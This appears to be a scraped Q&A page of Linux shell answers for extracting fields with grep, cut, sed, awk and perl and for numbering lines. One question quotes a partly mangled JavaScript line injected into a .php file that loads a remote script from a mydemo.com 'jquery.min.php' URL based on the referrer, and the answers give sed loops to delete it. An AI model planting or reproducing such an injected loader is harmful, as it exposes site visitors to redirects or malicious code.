extracting-the-values-using-grep - linux

From extracting the values using grep
Reading:RG1:+ /user/reading-2/Monday:12
Reading:RG1:- /user/**/Friday:12
Reading:RG1:- /user/**/*.txt:12
Reading:RG1:- /user/tet-23/**/*.txt:12
Reading:RG2:+ /user/reading-2/Monday:12
Reading:RG2:- /user/**/Friday:12
Reading:RG2:- /user/**/*.txt:12
Reading:RG2:- /user/tet-23/**/*.txt:12
I have tried with this :
cat a.txt | grep RG1|grep '-'| cut -d':' -f3-| cut -d'-' -f2 |sed -e 's/ //'
This wont work because it will extract wrong path because some of + also having -
How to reslove this issue

Try this:
egrep "^[^:]*:RG1:-" a.txt | cut -d: -f3 | cut -b3-
Sample run:
$ cat a.txt
Reading:RG1:+ /user/reading-2/Monday:12
Reading:RG1:- /user/**/Friday:12
Reading:RG1:- /user/**/*.txt:12
Reading:RG1:- /user/tet-23/**/*.txt:12
Reading:RG2:- /user/tet-23/**/*.txt:12
Reading:RG2:+ /user/reading-2/Monday:12
$ egrep "^[^:]*:RG1:-" a.txt | cut -d: -f3 | cut -b3-
/user/**/Friday
/user/**/*.txt
/user/tet-23/**/*.txt
"^[^:]*:RG1:-" means "start with anything but : zero or more times, then a :, then a RG1, followed by -.

You may try to get the complete "RG1:+" string, and then cut by space, for example:
grep "RG1:+" a.txt | cut -d" " -f2

Try it with sed
sed -r -e '/:RG1:/s/.*:[+-] //;s/:[0-9]+$//' a.txt
Which will operate only on lines with :RG1: in them. You can generalize this for all lines:
sed -r -e 's/.*:[+-] //;s/:[0-9]+$//' a.txt
Or just lines with RG and a number
sed -r -e '/:RG[0-9]+:/s/.*:[+-] //;s/:[0-9]+$//' a.txt
If you want to keep the trailing :12 simply omit the final substitution, e.g.:
sed -r -e '/:RG[0-9]+:/s/.*:[+-] //' a.txt

If Perl is alowed
- or +
perl -nE 'say $1 if /\AReading:RG[1-9]:[+-]\s+(.*)\Z/' file
only -
perl -nE 'say $1 if /\AReading:RG[1-9]:-\s+(.*)\Z/' file

Try this variation on the answer I gave to your previous question:
grep -Po '(?<=RG1:- ).*(?=:\d*$)' a.txt

Related

grep a word from a list of file as a result of grep before

I have a command to grep a file with fullpath that contain a "TypeId: 0", here is the command
grep -rnw /home/username/app/data/store/0/part/.mv -e "TypeId: 0" | awk -F ":" '{print $1}'
and here is the result:
/home/username/app/data/store/0/part/.mv/521/1673332792072/segmentconfig.yaml /home/username/app/data/store/0/part/.mv/521/1673333077920/segmentconfig.yaml /home/username/app/data/store/0/part/.mv/521/1673333077920/segmentconfig.yaml.old /home/username/app/data/store/0/part/.mv/515/1672993850766/segmentconfig.yaml /home/username/app/data/store/0/part/.mv/515/1672993850766/segmentconfig.yaml.old /home/username/app/data/store/0/part/.mv/703/1672987004847/segmentconfig.yaml /home/username/app/data/store/0/part/.mv/703/1672987004847/segmentconfig.yaml.old
Now I confuse how to grep "numofvertice" from each file from that list.
Anyone have an idea to solve this?
You could try this:
grep -rnw /home/username/app/data/store/0/part/.mv -e "TypeId: 0" | awk -F ":" '{print $1}'|xargs -I{} grep "numofvertice" {}
Like this (GNU grep):
<STDIN> | grep -oP '\b\S+\.yaml' | xargs cat
Or with ack:
cd /home/username/app/data/store/0/part/.mv
ack -wl -e "TypeId: 0" | xargs cat
From ack --help:
-l, --files-with-matches
Only print filenames containing matches

how to extract only numbers from variable and I need to give spaces between those numbers?

This is the sample string variable:
str="A=30|B='(if a=45 then b=100 else b=101)'|C=1000"
Required output is:
30 45 100 101 1000
I had tried below regex but I did not get proper output:
v=$(echo "$str" | sed 's/[^0-9]*//g'|wc -w)
Let me know proper statement for getting above output.
Looks like you want the number of numbers in the string.
With GNU awk:
gawk '{print NF}' FPAT='[[:digit:]]+' <<< "${str}"
With GNU grep and wc:
grep -Eo '[[:digit:]]+' <<< "${str}" | wc -w
Or with sed and `wc (works on all platforms):
sed -E 's/[^[:digit:]]*([[:digit:]]+)/\1 /g' <<< "${str}" | wc -w
or (simpler):
sed -E 's/[^0-9]+/ /g' <<< "${str}" | wc -c

How do I add a line number to a file?

The contents of file.txt:
"16875170";"172";"50"
"11005137";"28";"39"
"16981017";"9347";"50"
"13771676";"13";"45"
"5865226";"963";"28"
File with the result:
"1";"16875170";"172";"50"
"2";"11005137";"28";"39"
"3";"16981017";"9347";"50"
"4";"13771676";"13";"45"
"5";"5865226";"963";"28"
awk can do this for you pretty easily.
$ cat test.txt
"16875170";"172";"50"
"11005137";"28";"39"
"16981017";"9347";"50"
"13771676";"13";"45"
"5865226";"963";"28"
$ awk '{print "\""NR"\";"$0}' test.txt
"1";"16875170";"172";"50"
"2";"11005137";"28";"39"
"3";"16981017";"9347";"50"
"4";"13771676";"13";"45"
"5";"5865226";"963";"28"
This tells awk to print a literal ", followed by the record number, followed by ";, then rest of the line. Depending on other needs not stated (e.g. the quoting not being totally necessary,) there may be a better method to use but given the question and output this works.
Grep solution for funsies:
$ grep ".*" test.txt -n | sed 's/\([0-9]*\):/"\1";/g;'
"1";"16875170";"172";"50"
"2";"11005137";"28";"39"
"3";"16981017";"9347";"50"
"4";"13771676";"13";"45"
"5";"5865226";"963";"28"
For the fun of sed:
sed "=" test.txt | sed "N;s/\([0-9]\{1,\}\)\n/\"\1\";/"
Output:
"1";"16875170";"172";"50"
"2";"11005137";"28";"39"
"3";"16981017";"9347";"50"
"4";"13771676";"13";"45"
"5";"5865226";"963";"28"
also, bash-based:
i=0; cat my_file.txt | while read line; do i=$(( $i + 1 )); echo \"$i\"\;"$line"; done > results.txt
There is also coreutils nl:
<file.txt nl -s';' -w1 | sed 's/[0-9]*/"&"/'
Or perl:
<file.txt perl -pne 's/^/"$.";/'
Or sed and paste:
<file.txt sed = | paste -d\; - - | sed 's/[0-9]*/"&"/'
Output in all cases:
"1";"16875170";"172";"50"
"2";"11005137";"28";"39"
"3";"16981017";"9347";"50"
"4";"13771676";"13";"45"
"5";"5865226";"963";"28"

replace a whole line in a file centos

I have a script in .php file which is the following :
var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('http://mydemo.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<'+'/script>');}
I would like to replace in cmd line the whole line with (1) empty char. Is it possible? tried to do it with sed , but probably this is a too complex string.Tried to set the string in var , but didn't work either . Has anybody any idea?
This is actually something sed excels in. :)
sed -i '1s/.*/ /' your-file
Example:
$ cat test
one
two
three
$ sed '1s/.*/ /' < test
two
three
On my OS X i tested this script:
for strnum in $(grep -n "qwe" test.txt | awk -F ':' '{print $1}'); do cat test.txt | sed -i '.txt' $strnum's/.*/ /' test.txt; done
On CentOS should work this script:
for strnum in $(grep -n "qwe" test.txt | awk -F ':' '{print $1}'); do cat test.txt | sed -i $strnum's/.*/ /' test.txt; done
You should replace qwe with your pattern. It will replace all strings where pattern would be found to space.
To put right content in grep, it should be prepared. You should create file with required pattern and start command:
echo '"'$(cat your_file | sed -e 's|"|\\"|g')'"'
Result of this command should be replaced qwe(with quotes for sure).
You should get something like this:
for strnum in $(grep -n "var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+\"//\"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('http://mydemo.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<'+'/script>');}" test.txt | awk -F ':' '{print $1}'); do cat test.txt | sed -i $strnum's/.*/ /' test.txt; done

extracting the values using grep

Sample String : a.txt
Reading:RG1:+ /user/reading/Monday:12
Reading:RG1:- /user/**/Friday:12
Reading:RG1:- /user/**/*.txt:12
Reading:RG1:- /user/tet/**/*.txt:12
I am looking to extract the string
after + or - what ever the string i want it
using :
cat a.txt | grep RG1|grep '+'| cut -d':' -f3| cut -d'+' -f2 |sed -e 's/ //
I am getting
/user/reading/Monday
But i amlooking
/user/reading/Monday:12
Use egrep -o:
$ egrep -o '/user/reading/[A-Z][a-z]+day:[0-9]+' a.txt
/user/reading/Monday:12
/user/reading/Friday:12
Edit: for your new example, use something like
$ egrep -o '/user/[^ ]*:[0-9]+' a.txt
/user/reading/Monday:12
/user/**/Friday:12
/user/**/*.txt:12
/user/tet/**/*.txt:12
Assuming no spaces in your paths.
To fix your command, use -f3- because you want everything from the 3rd field to the end of the line.
cat a.txt | grep RG1|grep '+'| cut -d':' -f3-| cut -d'+' -f2 |sed -e 's/ //'
$ grep -Po '(?<=[-+] ).*' a.txt
/user/reading/Monday:12
/user/**/Friday:12
/user/**/*.txt:12
/user/tet/**/*.txt:12
Change the characters with the square brackets to change which lines you select.

Resources